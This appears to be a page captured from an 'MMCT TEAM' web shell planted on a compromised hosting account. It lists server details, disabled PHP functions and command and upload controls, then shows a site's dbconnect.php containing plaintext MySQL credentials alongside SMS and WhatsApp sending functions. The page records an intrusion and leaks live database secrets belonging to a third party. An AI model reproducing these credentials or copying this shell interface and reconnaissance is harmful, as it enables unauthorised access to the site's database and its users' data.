MMCT TEAM
Server IP : 2a02:4780:3:1493:0:3736:a38e:7  /  Your IP : 216.73.216.139
Web Server : LiteSpeed
System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/smsoft.in/public_html/demo/config/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/smsoft.in/public_html/demo/config/dbconnect.php
<?php
    date_default_timezone_set('Asia/Kolkata');
    if(isset($_SERVER['REQUEST_SCHEME']))
    {
        $location = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
        if($_SERVER['REQUEST_SCHEME']=="http")
        {
            header('Location: ' . $location);
            exit;
        }
    }
    session_start();
    $servername = "localhost";
    $username = "u926327694_raghuadmin1233";                
    $password = "Raghu@48221";
    $dbname = "u926327694_admin_onlinefe";
    
    $con=mysqli_connect($servername,$username,$password,$dbname);
    
    if(!$con)
    {
        echo"Connection failed"; exit;
    }
    
    include'whatsapp.php';
    
    function SendSMSToUser($urllink,$secret,$sender,$tempid,$receiver,$msg)
    {
        //echo $url=$urllink."secret=".$secret."&sender=".$sender."&tempid=".$tempid."&receiver=".$receiver."&route=TA&msgtype=1&sms=".$msg; exit;
        if($receiver!="" && strlen($receiver)==10) {
            $param['secret']=urlencode(trim($secret));
            $param['sender']=$sender;
            $param['tempid']=$tempid;
            $param['receiver']=$receiver;
            $param['route']='TA';
            $param['msgtype']=1;
            $param['sms']=$msg;
            
            $parameters = http_build_query($param);
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $urllink);
            curl_setopt($ch,CURLOPT_HEADER, false);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
            curl_setopt($ch, CURLOPT_POSTFIELDS,$parameters);
            $result = curl_exec($ch);
            
            return $result;
        }
    }
    function SendSMSToUser_custome($urllink,$secret,$sender,$receiver,$msg,$msgtype)
    {
        if($receiver!="" && strlen($receiver)==10) {
            $param['secret']=$secret;
            $param['sender']=$sender;
            $param['tempid']="";
            $param['receiver']=$receiver;
            $param['route']='PSA';
            $param['msgtype']=$msgtype;
            $param['sms']=$msg;
            
            $parameters = http_build_query($param);
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $urllink);
            curl_setopt($ch,CURLOPT_HEADER, false);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
            curl_setopt($ch, CURLOPT_POSTFIELDS,$parameters);
            $result = curl_exec($ch);
            
            return $result;
        }
    }
    
    function sendAttenWhatsapp($receiver,$whatsapp_api_key,$whatsapp_api_url,$whatsapp_instance_id,$message)
    {   
        if($receiver!="" && strlen($receiver)==10)
    	{
    	    $queryParams = [
                'number' => '91'.$receiver,
                'type' => 'text',
                'message' => $message,
                'instance_id' => $whatsapp_instance_id,
                'access_token' => $whatsapp_api_key
            ];
            
            $whatsapp_api_url_curl = $whatsapp_api_url;
            $whatsapp_api_url_curl .= http_build_query($queryParams);
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $whatsapp_api_url_curl);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
            $response = curl_exec($curl);
    	}
    }
?>

MMCT - 2023